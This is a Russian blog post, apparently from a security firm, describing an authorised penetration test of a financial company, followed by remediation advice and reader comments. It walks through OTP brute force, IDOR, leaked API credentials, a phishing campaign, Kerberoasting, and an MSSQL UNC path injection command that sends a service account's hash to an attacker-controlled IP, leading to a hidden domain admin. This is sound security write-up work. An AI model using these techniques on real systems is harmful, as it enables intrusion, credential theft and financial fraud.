«Кража» со взломом: пентест финансовой организации +41



В этом посте мы расскажем, как сломанная логика, самописные сервисы и графические пароли могут привести к захвату сетевой инфраструктуры компании, полной потере денег и пользовательских данных.

Это реальная история. События, о которых рассказывается в посте, произошли не так уж давно. По просьбе юристов названия были изменены. Из уважения к читателям все рассказано так, как было на самом деле.


В Бастион обратилась финансовая организация с приличными оборотами и развитой офлайн-инфраструктурой. Руководство компании хотело, чтобы мы выявили и продемонстрировали уязвимости в их онлайн-сервисах.

Внешний периметр

Это было тестирование на проникновение по модели Black box. Вначале у нас был URL-адрес основного сайта компании и больше никаких данных. Конечно, мы начали с разведки.

В таких случаях прежде всего мы собираем список целей при помощи парсинг DNS-систем. В ход идут domaineye.com, viewdns.info, censys.io и утилиты типа amass и subfinder. Они агрегируют открытую информацию о зарегистрированных доменах.

На этот раз с их помощью мы нашли пару десятков уникальных IP-адресов и несколько десятков поддоменов. Причем среди них было только 10 активных. Совсем немного на фоне других пентестов. Наш заказчик только начал цифровизацию.

Cобрав поддомены, мы получили IP-адреса хостов и запустили по ним nmap для определения сервисов, а на самих поддоменах запустили дирбастинг.

На внешнем периметре заказчика нашелся только один компонент с известной уязвимостью EternalBlue, но мы не стали ломиться через нее, чтобы случайно не нарушить работу серверов. Кроме того, на IP-адресах внешнего периметра было несколько хостов с открытыми RDP-портами. Мы сразу оповестили заказчика, отметили находки в отчете и перешли к исследованию доменов.

Уязвимости веб-приложений

У каждого пентестера в нашей команде свои фишки и подходы, но в целом на этом этапе мы действуем по методологии OWASP. Мы заходим на каждый поддомен и дотошно проверяем действия, которые пользователь может совершить с веб-сайтом: от регистрации, личных сообщений и комментариев, вплоть до выбора языка страницы. В каждой из таких функций может скрываться уязвимость.

Далее проводим ручной анализ компонентов, клиентской и серверной части веб-приложений, доступных из интернета. Так определяется поверхность атаки, используемое ПО и технологии, которые позволяют продумать вероятные вектора атак. Это кропотливая работа, но она приносит результаты.

Получение списка зарегистрированных пользователей (User enumeration)

На сайте компании был предусмотрен полноценный личный кабинет для клиентов с авторизацией по номеру телефона и SMS-коду. Судя по всему, личный кабинет был написан с нуля. Так вот, при неправильном вводе номера телефона сайт прямо сообщал, что пользователь не найден. То же самое происходило при попытке сброса пароля.

Вроде бы мелочь, но это утечка информации. С помощью такой формы легко собрать список зарегистрированных пользователей для дальнейших атак, например, захвата аккаунтов.

Получение доступа к учетной записи (Account TakeOver)

Оказалось, что разработчики портала не установили никакого ограничения на попытки ввода кода авторизации. Так что, зная телефон активного аккаунта, можно было подобрать соответствующий код.

Получение и подбор SMS кода
Получение и подбор SMS кода

На перебор комбинаций четырехзначного кода в несколько потоков требуется около двадцати секунд, шестизначного — несколько минут. Так злоумышленник мог с порога завладеть чужим аккаунтом и, например, попытаться оформить займ.

Небезопасная прямая ссылка на объект (IDOR)

Вообще, злодей мог знатно порезвиться в личном кабинете пользователя. Например, там был способ отправить сообщение с одного аккаунта на другой под любым username.

Возможность отправки сообщений любому пользователю, да именно по имени, а не по ID
Возможность отправки сообщений любому пользователю, да именно по имени, а не по ID

Достаточно было вручную подредактировать параметры from и to в теле страницы. Вписав нужного отправителя и адресата, можно было отправлять личные сообщения от имени администрации сайта. Представьте, как можно использовать такую рассылку — простор для творчества огромный.

Доступ к банковским данным (Broken Access control)

Еще одну опасную уязвимость мы нашли, изучая список директорий в личном кабинете. Среди них была директория support. Логично предположить, что она относится к службе поддержки. А у службы поддержки должен быть доступ к административным функциям и ресурсам, ведь он нужен для помощи пользователям.

Мы решили проверить, как работает контроль доступа к этим функциям. Для этого мы запросили директорию /support/user из-под аккаунта пользователя. Веб-сервер должен был вернуть ошибку 403 Forbidden — доступ запрещен, но он был настроен неправильно.

Сервер перенаправил нас на страницу /support - login page. В браузере не было видно ничего необычного, но мы просканировали запросы через burp suite, и увидели, что одновременно сервер отдает всякие интересные html-конструкции.

Тогда мы взяли словарь на 250 000 слов и подобрали такие запросы, на которые сайт выдавал конфиденциальную информацию. Так, по пути /support/page-stat выпадали csv-таблицы со статистикой за несколько лет, а вишенкой на торте стали логин и пароль для API банка-партнера.

Получение логина и пароля от платежного сервиса
Получение логина и пароля от платежного сервиса

У нас все еще не было пароля администратора, но ошибка в логике исполнения ответов давала возможность завладеть платежами, которые проходят через компанию. Доступ к API означал полный контроль над платежами, доступ к вводу и выводу средств компании.

Социальная инженерия

Теперь пришло время корпоративной сети. Для доступа к ней в компании использовали внешний VPN-шлюз, где для авторизации использовалась только пара логин/пароль без 2-FA OTP кода.

В таких случаях злоумышленники, как правило, выманивают все необходимое для подключения при помощи социальной инженерии. Чтобы оценить готовность заказчика к подобным атакам, мы зарегистрировали домен с подходящим названием и организовали рассылку по email-адресам сотрудников компании.

Это были письма от имени службы поддержки с просьбой авторизоваться в новом (конечно, фишинговом) портале централизованного защищенного удаленного доступа.

Всего мы отправили больше 70 сообщений. 85% сотрудников, получивших письмо, прошли по ссылке и оставили данные от своего VPN на сайте, а двое написали ответные письма с жалобами на неработающую авторизацию.

В общем, получить доступ к внутренней сети было бы несложно. Мы перешли к изучению инфраструктуры заказчика.

Аудит внутренней сети

Первым делом мы составили карту сети при помощи PowerView, PowerSploit, PowerShellMafia. Выяснилось, что мы находимся в типичной корпоративной сети с базами данных, CRM, ERP и прочими корпоративными сервисами. За сетевую аутентификацию в ней отвечал Kerberos.

Конечно, данные нескольких собранных учеток совпали с данными аккаунтов во внутренней сети, правда, у них не было привилегий. Это были обычные пользовательские учетные записи.

Информация о пользователе
Информация о пользователе

Теперь мы действовали по методологии OSSTMM. Чтобы получить права доменного администратора, мы начали поиск учетных записей, у которых отключена предварительная аутентификация Kerberos. Они уязвимы для атаки AS-REP Roasting. Однако, это ничего не дало.

Тогда мы перешли к другой похожей атаке — Kerberoasting. Новый подход принес нам четыре билета. При помощи брутфорса удалось получить два пароля из четырех. Это были учетки типа USER, которые по-хорошему должны назначаться только реальным юзерам, а не сервисам, но в данном случае это были учетки sql.

Зачастую, доступ к базам данных MSSQL предоставляется авторизованным пользователям в домене по умолчанию. С помощью инструмента PowerUpSQL мы нашли инстансы БД, к которым скомпрометированные учетки имеют доступ.

Оказалось, что в одном из них сервис запущен от имени учетной записи с привилегиями доменного администратора.

Проверка показала, что на нем были включены хранимые процедуры. Это открыло возможность для атаки MSSQL: UNC Path Injection.

Дело в том, что по умолчанию в базах данных MSSQL доступны хранимые процедуры xp_fileexist и xp_dirtree. Они позволяют пользователям с обычными (public) привилегиями делать удаленные запросы через путь UNC (\server). При этом, при обращении к удаленному ресурсу передаются учетные данные сервисной учетной записи, от имени которой запущена служба базы данных. Это делается для аутентификации и проверки прав доступа.

Мы подняли собственный файловый сервис, сделали запрос вида «exec master..xp_fileexist '\IP\temp\1.txt';», и на нашей рабочей станции остался Net-Ntlm-хеш пароля сервисной учетной записи.

Результат атаки UNC Path Injection
Результат атаки UNC Path Injection

Далее его можно подвергнуть атаке NTLM-relay или брутфорсу. Мы пошли вторым путем и через полчаса перебора с использованием видеокарты GeForce GTX 1050 получили пароль доменного администратора.

У пароля была довольно хитрая структура. Он представлял собой графический символ в середине клавиатуры. Некоторые люди целенаправленно используют такую технику запоминания паролей, а некоторые неосознанно. Это объясняется психологией и удобством набора. Так, символы расположенные рядом друг с другом на клавиатуре часто соседствуют и в паролях.

Подобные графические пароли легко запоминаются, солидно выглядят, их удобно вводить, но, к сожалению, они легко брутятся. Особенно с тех пор, как появились инструменты, которые автоматически генерируют списки таких паролей.

Информация о захваченном аккаунте
Информация о захваченном аккаунте

Получив доступ к аккаунту администратора, мы завели новую учетную запись и, с помощью атаки Golden Ticket, выдали ей скрытые права администратора домена.

Такая учетная запись обеспечивает скрытое закрепление в инфраструктуре и может годами ждать, пока ей воспользуется злоумышленник. И что бы ни произошло дальше, гарантируем, руководству компании это не понравится.

Вместо выводов — рекомендации по безопасности

В этом кейсе не было уязвимостей, которые требуют особых навыков для использования. Как выяснилось, чтобы взломать финансовую компанию, достаточно среднего уровня знаний в области информационной безопасности.

Если бы на нашем месте оказался злоумышленник, он получил бы доступ к финансам за считанные дни, а за неделю-другую пробрался в корпоративную сеть и захватил все, до чего дотянулись руки. Чудо, что этого не произошло до пентеста.

Сотрудники, не знающие основ информационной безопасности, сильно упростили проникновение во внутреннюю сеть компании. Наиболее уязвимым компонентом внутри была база данных MSSQL с настройками по умолчанию. Если хранимые процедуры не используются для работы, их нужно отключать.

Кроме того, захват корпоративной сети ускорили словарные пароли. И дело не в плохой парольной политике компании, а в том, что составители словарей здорово поднаторели в своей работе.

Одно из немногих эффективных решений этой проблемы — внедрение механизмов мониторинга словарных паролей. Например, подобную систему использует Microsoft. Надеемся, этот подход получит более широкое распространение.

Что касается безопасности доменов, риски были бы ниже, если бы не самописные сервисы. Разработчики популярных фреймворков во многом уже позаботились о безопасности, но, когда пишешь с нуля, легко допустить появление логических уязвимостей.

Поэтому перед полноценным запуском стоит организовать тестирование на проникновение во все сервисы, так или иначе связанные с деньгами и ценными данными. Еще одна хорошая практика — Secure SDLC — регулярные проверки безопасности, интегрированные в процесс разработки со старта проекта.

Если бы заказчик следовал этим рекомендациям, пентест был намного сложнее, а его результаты — лучше для компании и ее клиентов. Банальные советы, но практика показывает, что их все еще необходимо проговаривать.




Комментарии (14):

  1. vilgeforce
    /#23767383

    "передала аутентификационные данные его учетной записи" - то есть там даже httpOnly на куках не стоял?

    • SantrY
      /#23767597

      Мы конечно не видели настроек на стороне клиента и самого исполнения кода, но скорее всего да. Как правило, эта уязвимость дает такой результат если сессионная кука на приложение установлена без флага httpOnly.

      • vilgeforce
        /#23767607

        Ну если XSS hunter сграбил куку и она сработала для авторизации - даже смотреть не надо что там на клиенте ;-)

  2. Elsajalee
    /#23767809

    На перебор комбинаций четырехзначного кода в несколько потоков требуется около двадцати секунд, шестизначного — несколько минут.

    А проверяли? Может быть же, 4-5 ошибок и бан аккаунта до разбирательства или несколько часов (если зарегистрированный пользователь подтверждает телефон) или бан номера (если СМС-атака на номер).

    Достаточно было вручную подредактировать параметры from и to в теле страницы.

    Я тоже люблю так иногда делать (расстановка ловушек), вот только проверяю переданные значения на правильные, согласно сессии, и вот в случае расхождения есть замечательный журнал "breaking attempt" в котором логируем модуль, где это произошло, и всё о пользователе (ID, IP, PTR...). Раз в час, при наличии событий, присылается отчет по почте.

    • SantrY
      /#23767973 / +1

      Проверяли, там не было никаких рейт лимитов на ввод ОТП кода, и это проблема. В тексте хорошо бы смотрелся скрин, где показан успешный перебор значений, но некоторые вещи мы не можем показывать даже зацензурировав.

  3. VladOrZ
    /#23768217

    Интересно, но проведенные в данной статье методики не рекомендовал бы использовать против финансовых организаций с приличными оборотами и развитой офлайн - инфраструктурой.

    © Путеводитель юного хакера

    • SantrY
      /#23768241 / +1

      Лучше нигде их не использовать, если нет явного разрешения со стороны владельцев инфраструктуры.

    • Andrey_Green
      /#23771121 / -2

      Юный хакер вряд-ли это сможет использовать. Да и рассылка "левых" писем - тут же поставит СБ организации НАУШИ ... а это одно из основных методов проникновения. Без этой, фактически и юридически РАЗРЕШЕННОЙ рассылки, ничего бы у (аффторов) не получилось бы.

      • Andrey_Green
        /#23792949

        Наминусовали то кто? боты с коронабесием?

        Ой кто это у нас такой обидчивый? правда глазки колет? или уязвленное самолюбие проснулось

  4. scruff
    /#23768387

    Можно поподробнее методику брутфорса хэша видеокартой?

  5. kraidiky
    /#23772459 / +5

    Маленькая история про пинтест защищённости банков. Офтоп, так сказать.

    Святые 90-ые годы, развал, выживание, банкиры — вершина развития нового русского общества, на которого ровняется новое поколение. Мой отец — представитель прошлого, бывший офицер спецназа ГКБ «Вымпел», ушедший в охранный бизнес. Впрочем в 90-ые бывало по разному, одно время он подрабатывал, тем что застеклял и обшивал балконы вагонкой. Тоже честный способ прокормить семью.

    Ну и вот как-то разговаривает он с одним своим знакомым, который тогда замом главы охраны крупного банка. И тот возмущается, типа безопасность через жопу и всё такое, а доказывать это руководству только словами не получается. Вы же там в «Вымпеле» вроде бы крутые, может можно там договориться, чтобы вы в банк вошли и там, например, крестик на хранилище нарисовали, я бы два ляма заплатил. Проблема только что с руководством на пинтест договориться не получится, так что надо по тихому, в обход, так сказать.

    Ну отец ему объяснил, что не надо так делать, потому что охрана то боевым оружием вооружена. Мало ли что не так пойдёт и подстрелят кого-нибудь или наоборот проникающие вынуждены будут сделать, чтобы их не подстрелили, и чё потом с последствиями делать? В общем сказал что идея плохая, и так это не делается. А надо сказать, что «Вымпел» подобные учения проводил в своё время, устраивали проникновение на атомную электростанцию или на атомный ледокол. С ледоколом смешнее всего получилось. Но там, конечно, охрана была предупреждена, что могут быть учения в известные сроки и стрельбы открывать не разобравшись не надо. Впрочем всё равно никого они не заметили.

    Ну и вот, буквально через неделю-две ежегодная пьянка в честь юбилея создания «Вымпела». Все свои. И отец рассказал эту историю в качестве анекдота. А после пьянки к нему в курилке подошёл один из бывших коллег, и говорит: «Мы тут прикинули, на такую операцию человек шесть надо, получается тысяч по 350 на брата получается, а времена сам знаешь какие. Я ничего не говорю, но может мы там съездим, чисто на объект поглядеть да прицениться?»

    Пришлось и этих отморозков ещё убеждать, что не стоит в наше время из-за этого рисковать жизнью.

  6. smke
    /#23776553 / +1

    Например, подобную систему использует Microsoft.

    У вас ссылка на authN Policies, это немного про другое. Точнее, совсем про другое. Это про то, что к определённым политикой сервисам контроллер выдаёт tgs определённому пулу security principals.

    Наверное, вы имели ввиду вот это про словари и пароли.

    • Bastion-tech
      /#23776595 / +1

      Спасибо, вы нашли более подходящую ссылку (добавим в материал), но и authN Policies не совсем про другое.

      Когда писали этот абзац, держали в голове несколько случаев, когда проверка паролей была реализована через политики. Там была реализация на базе silos, и уже к ним была применена политика, а к политике технология, на которую вы ссылаетесь.